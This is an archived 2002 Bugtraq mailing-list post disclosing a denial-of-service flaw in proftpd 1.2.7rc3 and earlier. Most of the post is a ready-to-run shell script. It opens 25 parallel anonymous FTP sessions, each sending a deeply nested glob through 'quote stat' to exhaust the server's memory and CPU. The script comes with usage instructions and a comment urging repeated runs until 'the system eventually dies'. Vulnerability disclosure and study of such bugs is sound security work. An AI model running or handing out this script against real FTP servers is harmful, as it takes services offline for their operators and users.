[28168] in bugtraq

home help back first fref pref prev next nref lref last post

proftpd <=1.2.7rc3 DoS

daemon@ATHENA.MIT.EDU (Rob klein Gunnewiek)
Wed Dec 11 20:24:38 2002

Date: Sun, 8 Dec 2002 13:53:57 +0100 (MET)
From: Rob klein Gunnewiek <rmkleing@hio.hen.nl>
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org
Message-ID: <Pine.GSO.4.10.10212081339001.484-100000@blade-17>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello,

proftpd is vulnerable to denial of service similar to the list
*/../*/../*/../*.

#!/bin/sh
#
# proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least
# might work against many other FTP daemons
# consumes nearly all memory and alot of CPU
#
# tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
#
# 7-dec-02 - detach  -  www.duho.org
#
# use: ./prodos.sh <host> <user> <pass>
# do this some more to make sure the system eventually dies

cnt=25
while [ $cnt -gt 0 ] ; do
ftp -n << EOF&
o $1
quote user $2
quote pass $3
quote stat /*/*/*/*/*/*/*
quit
EOF
let cnt=cnt-1
done
sleep 2
killall -9 ftp
echo DONE!

#end


home help back first fref pref prev next nref lref last post